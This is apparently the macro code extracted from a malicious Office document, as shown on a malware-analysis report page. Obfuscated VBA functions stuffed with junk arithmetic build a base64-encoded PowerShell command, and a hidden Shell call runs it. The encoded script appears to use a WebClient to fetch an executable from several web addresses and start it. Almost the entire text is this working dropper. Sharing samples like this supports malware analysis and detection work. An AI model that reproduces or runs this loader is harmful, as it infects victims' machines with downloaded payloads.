iBOkUW = 64301
End Sub
Function RpIXIfjPWwm(PHjVdOh)
On Error Resume Next
KAmQz = fZcmiI - Cos(bdkhw) * 1 - Chr(65719) / 6839 - ChrB(ZzzjB)
hSXih = 26655
tLwqH = awkCRt - Cos(CXdCVo) * 1 - Chr(57469) / 26633 - ChrB(Dmjziz)
FIwuG = 65619
DzCsYZIciv = Shell(kFHwUKslcC + Chr(vbKeyP) + bBiQwPJnE + PHjVdOh, vbHide)
lrqkd = ouiqX - Cos(JoUIt) * 1 - Chr(69186) / 98327 - ChrB(IMKKO)
pfuUwX = 39456
End Function


Attribute VB_Name = "sLiEAEw"
Function rnLTv()
On Error Resume Next
hwlCot = HEEikC - Cos(cIvLiO) * 1 - Chr(18767) / 38154 - ChrB(LhhGar)
WuQsM = 92260
WSujT = "owersHeLL " + "-WinDow" + "sTyle hidden " + "-e IAAoACgAIg" + "B7ADEAM" + "gAyAH0AewA5AD" + "cAfQB7A" + "DEAMwA3AH0"
hRJDi = OfiNw - Cos(kbiiw) * 1 - Chr(43620) / 27219 - ChrB(ZVHmLQ)
hoUJVj = 7920
EZZKDSCCK = "AewAzAH0AewAx" + "ADAAOAB9AHsAM" + "wA5AH0AewAwAH0A" + "ewA4ADcAfQB" + "7ADEAMQA4AH0Aew" + "A5ADUAfQB7AD" + "EAMgA4AH0A" + "ewA0ADAAfQB7ADE" + "ANQB9AHsAM" + "gA2AH0AewA"
tZKbz = fwTHGG - Cos(sPRWww) * 1 - Chr(58231) / 24156 - ChrB(WsSYj)
ODdnjN = 71999
YdOOSK = "xADIAN" + "QB9AHsAMQ" + "AzAH0AewAxA" + "DEAMwB9AHsANA" + "A5AH0A" + "ewAyA" + "H0AewA"
ovOQu = nfEJM - Cos(ZDnXjZ) * 1 - Chr(1905) / 66416 - ChrB(RIaCo)
PiSZUG = 18628
AisJDS = "yADkAfQB7ADYAOA" + "B9AHsAOQAwAH0Ae" + "wA4ADgAfQ" + "B7ADEAMAA5AH0A" + "ewAxADA"
akjkpW = oIMqRL - Cos(FDGMC) * 1 - Chr(5057) / 43587 - ChrB(nNFmYB)
jriPaN = 74811
vhiDYLvp = "AMAB9AH" + "sAMQAy" + "ADYAfQB7" + "ADEAMQAxAH0" + "AewA4ADkAfQ" + "B7ADgANAB" + "9AHsA" + "MQA4AH"
pLMLd = OMWZzY - Cos(SIDHG) * 1 - Chr(76813) / 93694 - ChrB(fDwqC)
UICkC = 36442
RkHIvh = "0AewAxADAA" + "NQB9AHsAMQA5AH0" + "AewA1ADQAfQ" + "B7ADcAMQB9A" + "HsAMQA" + "yADMAfQB" + "7ADEAMwAyA" + "H0AewAyA" + "DMAfQB"
RBqqs = YAiNYc - Cos(QjiIU) * 1 - Chr(48893) / 81117 - ChrB(KHNVba)
DUozFO = 2913
OIjXTDrjA = "7ADQAMQB9AHsAN" + "AA4AH0AewA" + "0AH0AewAxAD" + "EANgB9AHsANAA0" + "AH0AewAy" + "ADAAfQB7ADQAMgB" + "9AHsAMQA" + "wADYAfQB" + "7ADQANwB9AHs" + "AOQAxA"
NQNBX = wqaNj - Cos(kduQd) * 1 - Chr(55324) / 32206 - ChrB(udVRL)
zOYaXH = 29203
lkjrjUFC = "H0AewAyADcAfQ" + "B7ADEAMQA5A" + "H0AewAx" + "ADIAMAB9AHsAN"
rnLTv = WSujT + EZZKDSCCK + YdOOSK + AisJDS + vhiDYLvp + RkHIvh + OIjXTDrjA + lkjrjUFC
End Function
Function cWqivQb()
On Error Resume Next
RsHYSR = QnIuS - Cos(aaXUc) * 1 - Chr(96216) / 89593 - ChrB(juvpt)
iRzqY = 87306
alMnwHkU = "gA2AH0AewA3ADk" + "AfQB7ADYAMA" + "B9AHsAMQAzA" + "DgAfQB7ADYA" + "fQB7ADgAMAB9A"
LCJEK = tdpMWt - Cos(WoBGu) * 1 - Chr(18242) / 39609 - ChrB(hzLiY)
fzoRWY = 1787
nTlfAaQPMn = "HsANgA3A" + "H0AewA3AD" + "cAfQB7" + "ADIAMQ" + "B9AHsAMQAzADYAf" + "QB7ADMAMA"
XOPSw = jtiYv - Cos(zuQsw) * 1 - Chr(29339) / 47703 - ChrB(dEzWlE)
dBuAV = 38641
mssXnPwnib = "B9AHsANwB9AHsAN" + "wAwAH0" + "AewAxADMANQB9" + "AHsAMQA0ADMAfQB"
QmrbL = foPnn - Cos(wkivV) * 1 - Chr(13386) / 99826 - ChrB(lTRtj)
nFsnYa = 8377
ttYjljDn = "7ADEANAAxAH0" + "AewA0ADMAfQB7" + "ADEANwB9AH" + "sANAA2AH0AewA2" + "ADQAfQB7ADEAMA" + "AxAH0A" + "ewAxADIANAB9AH" + "sAOAAzAH" + "0AewA5ADQ" + "AfQB7ADkAOQB9AH"
iiBUEF = ppJil - Cos(dvGZt) * 1 - Chr(40787) / 23225 - ChrB(wUzvQ)
avcPMw = 9641
PPAUwJlZXZA = "sANwA0A" + "H0AewAxAH0AewA5" + "ADYAfQB7" + "ADIAOAB9AHsAMwA" + "4AH0Aew" + "A1ADIAf" + "QB7ADcANQB" + "9AHsAMwA"
EtBCu = vdHKvm - Cos(KlOiF) * 1 - Chr(85151) / 39991 - ChrB(JDYnZm)
NuWpCX = 82522
jDSBJr = "1AH0Aew" + "AxADIAOQB9AH" + "sAMQAzADAAfQB7A" + "DMANwB9AHsA"
XqaRb = NnAiW - Cos(JNkHD) * 1 - Chr(69650) / 46953 - ChrB(pdPUIB)
MoGjl = 37414
jXqcBSJw = "NQA5AH0AewAxA" + "DAAMwB9AHsAM" + "wAyAH" + "0AewA4AH0AewA" + "xADMAMQB9AHsA" + "MQAxADQAf" + "QB7ADEAMgA3" + "AH0AewA2A" + "DEAfQB7A"
qnibt = vQYJD - Cos(kzKOl) * 1 - Chr(35582) / 98888 - ChrB(XubGIZ)
Aztuk = 93155
IYPboUqXcwt = "DIANAB9AHsAMQ" + "AxAH0AewAx" + "ADQAMgB9" + "AHsAM"
cWqivQb = alMnwHkU + nTlfAaQPMn + mssXnPwnib + ttYjljDn + PPAUwJlZXZA + jDSBJr + jXqcBSJw + IYPboUqXcwt
End Function
Function JXFfllYfFk()
On Error Resume Next
WzdcqK = ZEGRlR - Cos(CZURm) * 1 - Chr(45355) / 3389 - ChrB(MYSTKv)
iOSaz = 55504
hjHObw = "QAxADUAfQ" + "B7ADEAMQ" + "AwAH0AewA3ADg" + "AfQB7ADE" + "ANAA1AH0AewA" + "2ADMAfQB7ADEAMA"
lJbpw = pUoXIn - Cos(aZdwYj) * 1 - Chr(50094) / 70621 - ChrB(JWADI)
rzLSn = 80371
HoqNp = "A3AH0Aew" + "A2ADIAf" + "QB7ADEAMQA3" + "AH0AewAzADQ" + "AfQB7ADE" + "AMgB9" + "AHsANQ" + "AzAH0AewA3ADIA"
LpzaDH = jvLWzq - Cos(lTBQC) * 1 - Chr(54297) / 61785 - ChrB(FotoQc)
MqAIlO = 76459
injjF = "fQB7ADUANQB9" + "AHsANwAzAH0AewA" + "xADQAMAB9AHs" + "AOQB9AHsAMQAwAD"
wfStV = LdGSU - Cos(jJBkN) * 1 - Chr(15591) / 23654 - ChrB(IhPqOu)
VWpErz = 34230
NfquXlvi = "IAfQB" + "7ADgAMQB9AHsAMg" + "AyAH0" + "AewA1ADgAfQB7AD" + "kAMgB9AHsAMQA" + "yADEAfQB7ADkA" + "MwB9AH" + "sANwA2AH0" + "AewAxADMAO" + "QB9AHsAMwAzA"
ljiKk = LnWvWI - Cos(oPudB) * 1 - Chr(6698) / 87164 - ChrB(Qciaf)
GQOdIO = 11926
QOWwE = "H0AewA2ADUAfQB7" + "ADEAMAB9AHs" + "AOQA4AH0A" + "ewAyADUAf" + "QB7ADEANAB9AHsA" + "MQAxADIAfQB7ADE" + "AMAA0AH0AewA4A" + "DYAfQB7ADEANAA0"
Aizbq = usvsmj - Cos(GuapuY) * 1 - Chr(74861) / 40599 - ChrB(EkFDE)
ISNuw = 45624
quYjdpiIjOb = "AH0AewA4ADIA" + "fQB7ADEANgB9AHs" + "AMwA2AH0Aew" + "AxADMANAB9AHs" + "AMwAxAH0AewA" + "1ADAAfQB" + "7ADUAM" + "QB9AHs" + "AMQAzADMAfQB" + "7ADQANQB9AHs"
PjaNw = Xjmow - Cos(AVnnO) * 1 - Chr(80719) / 37065 - ChrB(saNWmr)
kcisk = 17478
qNRsVhV = "AOAA1AH0Aew" + "A1ADYAfQB7A" + "DYAOQB9AHsANQB9" + "AHsANQA3AH" + "0AIgAgAC0AZg" + "AnAGIAagBlAGMA" + "JwAsACcAL"
fuPjbR = bRvHuE - Cos(UiwEc) * 1 - Chr(54077) / 43438 - ChrB(TDaFzm)
IwNAI = 82175
CuznHrimm = "wAnACwAJ" + "wBWAGgAdwA3AFYA" + "aAArADcAV" + "gBoACcALAA" + "nADcAVgAnACwAJw" + "BLAFoAN" + "wBBAEQAQ" + "wBYACcALA" + "AnAH0AJwAsA" + "CcAYgBq"
YhOCzR = RPrmX - Cos(wfnHj) * 1 - Chr(39806) / 80081 - ChrB(LGWTLX)
ztuvJ = 51758
pvNEpdOQF = "AEkAegAwAC8AJwA" + "sACcAd" + "QBkAGkAJwAsACc" + "AaQAn" + "ACwAJwA" + "oAEsA" + "WgA3AGEAcwAnA" + "CwAJwBG" + "ACcALAAnAFMAR" + "ABDACAAPQ"
JXFfllYfFk = hjHObw + HoqNp + injjF + NfquXlvi + QOWwE + quYjdpiIjOb + qNRsVhV + CuznHrimm + pvNEpdOQF
End Function
Function TwYJfM()
On Error Resume Next
QpaiE = BojSZW - Cos(cIFTo) * 1 - Chr(2100) / 35501 - ChrB(brimu)
SVwqN = 79730
irhjpuApkop = "AgAEsAJw" + "AsACcAS" + "wAnACwAJwBuA" + "GUANwAnACwAJw" + "BjAC4ANQBSAE" + "cAVABv" + "AFMAdAAnAC" + "wAJwBZAFUAJwA" + "sACcARwAoACkAJw"
PzhCPJ = XXEtp - Cos(jqnbH) * 1 - Chr(16780) / 16263 - ChrB(pwrsKf)
SmbLjM = 25282
YWfQrs = "AsACcALwBAAGg" + "AdAAnACwAJ" + "wBOAFMAQgAnACwA" + "JwBaACcALAA" + "nAGgADQAnACwAJw" + "B0AHQAcAAnAC" + "wAJwBuACAASwBaA" + "DcAJwAsAC" + "cAMQAzADMA"
YQYrs = EnpwcT - Cos(iVjFhA) * 1 - Chr(50306) / 99624 - ChrB(KFdqEk)
hIETjO = 21254
raDPwLRO = "JwAsACcANwAn" + "ACwAJwBHACgA" + "SwBaADc" + "AYQBzAGY" + "AJwAsA" + "CcAIA" + "AnACwAJ" + "wBvAGMAbwBuACcA"
RPCkKC = hMHkRs - Cos(zMmKj) * 1 - Chr(12135) / 36636 - ChrB(ClTKH)
XAvTKz = 77107
vzNdP = "LAAnAHIAZQBiA" + "GkAJwAsACcA" + "LQBvACcAL" + "AAnAHMAdAA"
wppmO = RiTTk - Cos(JsjVfE) * 1 - Chr(31243) / 5940 - ChrB(QQzuH)
MMRGs = 35826
jQVjZLlJ = "nACwAJ" + "wBvADcA" + "JwAsACcAcABsAC" + "cALAAnAEQ" + "AbwBOA" + "G4AMA" + "BXAG4AJ" + "wAsACcAIAAn" + "ACwAJwB6AHIAJ" + "wAsACcALAAgAEs"
OzVwrv = USAaji - Cos(TZnFjl) * 1 - Chr(8854) / 64510 - ChrB(prGOF)
CMsIb = 58494
jRmQqIliCdS = "AWgA3AFMARABD" + "ACkAOwAmAC" + "gANwBWAGgA" + "SQBuACcALAAnA" + "FYAJwAsACcAYQ" + "AuAG4AZQAnACwAJ" + "wBWAGgAdwAt" + "AG8AJwAsACcANw"
AiNUGs = QZOdis - Cos(dBIhdj) * 1 - Chr(46171) / 61132 - ChrB(khrwP)
hYDAkZ = 10289
WQaIBBz = "BZACcALAA" + "nACkAJw" + "AsACcACgBoA" + "HQAdABw" + "ACcALAAnAD" + "AAJwA" + "sACcAP"
TwYJfM = irhjpuApkop + YWfQrs + raDPwLRO + vzNdP + jQVjZLlJ + jRmQqIliCdS + WQaIBBz
End Function
Function FPKVudD()
On Error Resume Next
OiMjJQ = djMiYL - Cos(azzLUd) * 1 - Chr(54688) / 76595 - ChrB(ticrp)
dINYJt = 5707
InjJh = "QAgADcAVgAnACwA" + "JwBWAG" + "gAZQAtACcAL" + "AAnAHQAcAA6"
zOPbH = iQrczz - Cos(DZFcP) * 1 - Chr(51716) / 30495 - ChrB(AjYnD)
EUzBq = 45543
PawOriPCu = "AC8ALwBiAGkA" + "JwAsACcA" + "LwAvACcALAAnAD" + "sAJwAsACc" + "ANwAnACwA" + "JwBWAGgAKwA" + "3AFYAJw"
AwEBVq = drztrU - Cos(iIwtSn) * 1 - Chr(98436) / 94837 - ChrB(qnDraw)
aHaZDc = 725
GwTMWFVOI = "AsACc" + "AaABrA" + "CcALAAnAHQALwA" + "nACwAJwBaAC" + "cALAAnADcAbgB"
ukfpJj = wifVLD - Cos(XkhCO) * 1 - Chr(26757) / 25949 - ChrB(wJjzY)
RvXGIV = 97794
hSicnHsm = "zAGEAJwAsACcA" + "LgBlAHgANwBW" + "AGgAKwA3ACcAL" + "AAnAG0ANwBWAGgA" + "KQAoAEsAWgA3A" + "FMARABDACcALAA" + "nAGMAYQB"
HKoBLr = MEknS - Cos(psAOmN) * 1 - Chr(55271) / 73416 - ChrB(IJHsi)
HPDiJp = 56485
pIBTmfbIC = "0AGMAaAB" + "7AH0AfQ" + "AnACwAJwB" + "BAEQAQwBYACcALA" + "AnAGgA" + "LgAnAC" + "wAJwBhAFQAJwAs" + "ACcANwBWAGgAKQA"
FPKVudD = InjJh + PawOriPCu + GwTMWFVOI + hSicnHsm + pIBTmfbIC
End Function
Function FAMUX()
On Error Resume Next
OMBVz = FvMGBb - Cos(XrVHW) * 1 - Chr(92377) / 71235 - ChrB(ftTNh)
ohFIv = 23561
VpkWj = "7AEsAWgAnACw" + "AJwAyAEUAJwAsA" + "CcAYwAgA" + "CsAIAA" + "nACwAJwBsAGwAZQ" + "B0AGUAJwAsA" + "CcAbABOAG4AMABP"
lBkrf = QMwBq - Cos(kkYha) * 1 - Chr(76037) / 86723 - ChrB(VjTiIQ)
QOHwGP = 65691
PnROwjOiDU = "AGEAZA" + "AnACwAJwAuA" + "GMAJwAsACcAaQB" + "uAGQA" + "LgBjA" + "G8AbQAv" + "ADIAeQAnAC"
plQqvU = ircKwU - Cos(AiVCT) * 1 - Chr(99122) / 4895 - ChrB(BiPTAw)
DkmCwi = 91947
jSnYcRSIQ = "wAJwBiACcALAAn" + "ACkAOwBiAH" + "IAZQB" + "hAGsAOwAnACwAJ" + "wBvAHMALgB" + "jACcALAAnAGQAY" + "QBzAGQALgBu" + "AGUAeAB0ACcA" + "LAAnA"
zzYjA = GwTLAN - Cos(dEviiH) * 1 - Chr(68352) / 64156 - ChrB(cUqsos)
uWhET = 46246
aBsEmVujs = "DcATgBTA" + "EIAIAA" + "rACAAKAA3AFYA" + "aAAnACwA" + "JwBWAGgAZ" + "QA3AFYAa"
vSBGv = wHzlMa - Cos(rTPaMd) * 1 - Chr(42344) / 40623 - ChrB(qImOa)
pSIJF = 99961
nGRzpTSpR = "AApADsAZg" + "BvACcALAAnAHQ" + "AcAA6AC8" + "AJwAsACcAb" + "gBTACcALAAnA"
PhBnwi = UFjOM - Cos(aGGsqC) * 1 - Chr(68413) / 84224 - ChrB(tThJXS)
cDVfrD = 65968
zwEHliwT = "FkAWQBVAC4A" + "JwAsACc" + "ASABUAEcALwBA" + "AGgAJwAsACcA" + "YgAnACwAJwB" + "vAG0AL" + "wAnACwAJwBAAGg"
YjrAj = bYBuzi - Cos(QSCQI) * 1 - Chr(75334) / 76435 - ChrB(GnHCnc)
thoXYh = 38868
hWaQzrAr = "AdAB0AHAAO" + "gAvAC8A" + "aQB0A" + "HMAbwBuAG0Ae"
KjIrR = jOZjUM - Cos(SPjQur) * 1 - Chr(34317) / 86799 - ChrB(wvIwiT)
aKfvH = 84819
kVzUT = "QBtACcALAAnAC" + "AAaQAn" + "ACwAJwBSACcAL" + "AAnAEYAJ" + "wAsACcAWgA3ACc" + "ALAAnAEkAdABlA"
zvVnaY = TTQrbS - Cos(GdqCR) * 1 - Chr(52567) / 71079 - ChrB(iTRMJ)
YpQdZh = 67544
TDMVGoQn = "CcALAAnA" + "DAAJwAsACcA" + "NwBWA" + "GgAKwA3A" + "CcALAAnAGgAKQAg" + "AFMAJwAsACcAd" + "AA7AEsAJwAsACcA" + "agBlAGMAdAA3AFY" + "AJwAsA" + "CcAbABpA"
FAMUX = VpkWj + PnROwjOiDU + jSnYcRSIQ + aBsEmVujs + nGRzpTSpR + zwEHliwT + hWaQzrAr + kVzUT + TDMVGoQn
End Function
Function NNBjKikbODS()
On Error Resume Next
YErUB = csHCBz - Cos(jptqQ) * 1 - Chr(93104) / 76388 - ChrB(CWNOj)
izNBkW = 72329
auOiHQK = "GQAJwAsACcA" + "KQAnACwAJwB0AH" + "IAeQB7A" + "EsAWgA" + "3ACcALAAnAHAA" + "RgAvAEAAJw"
lKwaG = qLOKJd - Cos(zWnJlv) * 1 - Chr(14035) / 42202 - ChrB(iGRkws)
AQdibD = 67272
KVVBTbiD = "AsACcAVgBo" + "ACkAIAByAGEAbgB" + "kAG8AbQA7ACc" + "ALAAnAGUAdQA"
qqEXrH = FFCid - Cos(szbijD) * 1 - Chr(62529) / 81369 - ChrB(VlzRO)
jvQwnt = 35435
vSZnP = "nACwAJwBh" + "AHMAZAAg" + "AD0AIAAmA" + "CgANwBWAGgAbgA3"
rjiabA = hUPTH - Cos(BEszC) * 1 - Chr(6598) / 65817 - ChrB(TZZtI)
Kmhpj = 50517
jiBWsvLahjh = "AFYAa" + "AAnACwAJwB" + "JAE4A" + "bgAwAGwAZQA1" + "AFIAJwAsA" + "CcAaAB0ACcAL" + "AAnAE4AZQB" + "0AC4AV" + "wBlAGIAQw" + "AnACwAJwBy"
kuEdF = woQizG - Cos(iqXzlq) * 1 - Chr(69618) / 51264 - ChrB(JFhSb)
vmZnh = 25705
LANPZvbjt = "AC4AbgBlAH" + "QAJwAsACcAZg" + "BjACcALAAn" + "AFMAJwAs"
KoWzN = jCrbnj - Cos(UOkEpq) * 1 - Chr(57021) / 22727 - ChrB(zwmNvt)
IKYONj = 68281
ibovsW = "ACcATgBuACc" + "ALAAnACAA" + "PQAgAEsAJwAsAC" + "cAOgAnACwAJw" + "A3AFYAaAB" + "oACcALAAnAGgAK"
ncwuWR = umhjjC - Cos(zrjFZ) * 1 - Chr(78519) / 49999 - ChrB(ApmXj)
ORhnf = 16768
uJwcGHBBX = "wA3ACcAL" + "AAnAHkAcwB0A" + "GUAbQAuACcALAAn" + "AHAAdQAnACwAJw"
NripS = BAjOM - Cos(mMjfHG) * 1 - Chr(89762) / 2728 - ChrB(cJHwiL)
UAtBtF = 70697
LHZZATJRzkl = "BlAG4AJwAsACcAc" + "gAnACwA" + "JwBWAGgAKwAn" + "ACwAJwA3AFYAaA" + "AnACwAJwBuA" + "HYAOgA"
AQGSY = TaZwz - Cos(hmZjk) * 1 - Chr(14047) / 75396 - ChrB(ibrkKW)
fVLhjb = 62912
kmmoKwD = "nACwAJwAgA" + "CcALAAnADcAVgBo" + "ACAAKwA" + "nACwA" + "JwBWAGgA" + "dAA3ACcALA"
rAbdSI = hBlGzi - Cos(MQmSAR) * 1 - Chr(49202) / 47521 - ChrB(IBioF)
OQdBH = 66618
OmTnZiVucS = "AnAGMAaABpAGc" + "AbABpACc" + "ALAAnAGUAJw" + "AsACcAewAn"
NNBjKikbODS = auOiHQK + KVVBTbiD + vSZnP + jiBWsvLahjh + LANPZvbjt + ibovsW + uJwcGHBBX + LHZZATJRzkl + kmmoKwD + OmTnZiVucS
End Function
Function UOVrDzq()
On Error Resume Next
IdUcAt = zDZzFJ - Cos(vObOES) * 1 - Chr(56628) / 36850 - ChrB(nUdTnU)
warfHI = 95441
wpXPOjKir = "ACwAJwBLAFoAN" + "wBuAHMAYQ" + "BkACcALAAn" + "ACgAMQAwADAA" + "MAAwACcALAAn"
RjjXE = jjvSTB - Cos(mDQDp) * 1 - Chr(3465) / 62840 - ChrB(XZBib)
XNinmR = 6815
LOzVrROrr = "AC8AV" + "QBPAC" + "cALAAn" + "AD0AIAAuA" + "CgANwBW"
YjGOAH = hAUTZK - Cos(bbSGQ) * 1 - Chr(30994) / 89963 - ChrB(hsdzI)
Rfjkw = 79559
XQwGwMT = "AGgAJwAsACcAbA" + "BpACcALAAnAE" + "AAJwAsACcASwBa" + "ACcALAAnAG" + "0AJwAsACcATA"
jzbBZW = YhLBSA - Cos(CVfAnC) * 1 - Chr(33758) / 3416 - ChrB(kAwPQ)
nibUs = 90044
oiQKTmkwa = "BDAC8ANwA" + "nACwAJwB0A" + "CgAJwA" + "sACcALAAgADIA" + "OAAyAC"
qFrtFi = hcjHkP - Cos(AkLnN) * 1 - Chr(60026) / 68814 - ChrB(BaGZCt)
azIqXi = 51486
KdDbzRujm = "cALAA" + "nADcAVgBoACs" + "ANwAnACwAJ" + "wB2ACcA" + "LAAnA"
twjBj = UqfBL - Cos(wPhfPu) * 1 - Chr(663) / 7685 - ChrB(mffGE)
iztrf = 49773
rwnDff = "GEALwBrAEw" + "AJwAsACcAO" + "gAvAC8Acg" + "BvACcALAAnACsAN" + "wBWAGg" + "AZQAnACwAJwA" + "yAFoAJwAsAC" + "cANQBS" + "AEcAJwAsACcAcg"
RqddDh = kbYrGi - Cos(Qdaci) * 1 - Chr(43807) / 84511 - ChrB(QDvbG)
rlJjNW = 95472
aZVFhz = "BlAGEA" + "YwBoACcALAAnAF" + "IAJwAsA" + "CcAWgA3A" + "GUAJwA" + "sACcATwBBAGsAJ" + "wAsACc" + "AaQBOAG4AM" + "ABOAGcANQ"
BmrSXj = HoAaq - Cos(VTOAD) * 1 - Chr(69087) / 21390 - ChrB(aicav)
qOKsIN = 48579
lnlrFSDXNBM = "AnACwAJw" + "BsAGkAJ" + "wApACkALgByAG" + "UAUABs" + "AEEAQwBlACgA" + "KABbAEMAa" + "ABBAHIAXQA3ADgA"
UOVrDzq = wpXPOjKir + LOzVrROrr + XQwGwMT + oiQKTmkwa + KdDbzRujm + rwnDff + aZVFhz + lnlrFSDXNBM
End Function
Function zClITVzjTu()
On Error Resume Next
olLzLv = PuBPT - Cos(SvfKm) * 1 - Chr(74088) / 34153 - ChrB(DOrbmU)
dHSdst = 58316
DiWSTSZtz = "KwBbAEMAaABBAHI" + "AXQAxADEAMA" + "ArAFsAQwBoA" + "EEAcgBdAD" + "QAOAApACwA" + "JwBgA" + "CcAKQAuAHIAZQB" + "QAGwAQQ" + "BDAGUAKAAnAD" + "cAVgBoA"
pDYPQK = bKbYYT - Cos(iVaHAk) * 1 - Chr(43623) / 38330 - ChrB(YbPmn)
mabnSq = 13308
sUAIS = "CcALABbAHM" + "AdABSAGkAbgB" + "nAF0AW" + "wBDAGgAQ"
WBQQn = zOvawZ - Cos(DlttGV) * 1 - Chr(60516) / 98578 - ChrB(BYAsYB)
kAobHD = 11919
cXkzNcca = "QByAF0AMwA5" + "ACkALgBy" + "AGUAUABsAEE" + "AQwBlACgAJwBLAF" + "oANwAnACw" + "AJwAkACcAKQAuA" + "HIAZQB" + "QAGwAQQ" + "BDAGU"
UimYKf = nNmjpi - Cos(LVbPiA) * 1 - Chr(84739) / 31573 - ChrB(IwSKZK)
pzfJZX = 65794
paVOVAv = "AKAAnAGgAMgBFA" + "CcALA" + "BbAHMAdABS" + "AGkAbgB" + "nAF0AW" + "wBDAGgAQQByAF0A" + "OQAyACk"
pJMlm = pMOqp - Cos(AsVFs) * 1 - Chr(7143) / 75549 - ChrB(ZrUPcP)
jJYUon = 38726
EDflSc = "ALgByAGU" + "AUABsAEEAQwBlA" + "CgAKA" + "BbAEM" + "AaABBA" + "HIAXQA" + "1ADMAKwBbAEMAaA" + "BBAHIAXQA4AD"
ZnGiq = mDTkr - Cos(wiZQVk) * 1 - Chr(7155) / 64482 - ChrB(owIWIF)
pWAff = 35547
ciapGj = "IAKwBbAE" + "MAaAB" + "BAHIAXQA3ADEAKQ" + "AsAFsAcwB0AFIAa" + "QBuAGcAXQBb" + "AEMAaABBAHIAXQA" + "zADQAKQB" + "8ACYAIAAoA"
zClITVzjTu = DiWSTSZtz + sUAIS + cXkzNcca + paVOVAv + EDflSc + ciapGj
End Function
Function YErpwSIkhZW()
On Error Resume Next
RlZzLn = AilSAF - Cos(IwEjmc) * 1 - Chr(70177) / 82694 - ChrB(HhNjNz)
MRiiHf = 92384
GbNYTELu = "CAAJAB2A" + "GUAUgB" + "iAG8AUwBlAHAA" + "cgBlAGYAZQBSAEU" + "ATgBDAG" + "UALgBU" + "AG8AcwB0" + "AHIAaQBOAG"
stIoSW = HzRhX - Cos(vtpLam) * 1 - Chr(34847) / 29988 - ChrB(DbCvYA)
XdcCR = 83404
POqPkOiXbrr = "cAKAApAFsAMQA" + "sADMAXQArACc" + "AWAAnAC0ASg" + "BPAEkATgAnAC"
TwYbDZ = SfamQ - Cos(oWjtd) * 1 - Chr(44814) / 88918 - ChrB(hlWwEm)
oFUfEA = 42426
uvEtFZADFX = "cAKQA="
YErpwSIkhZW = GbNYTELu + POqPkOiXbrr + uvEtFZADFX
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.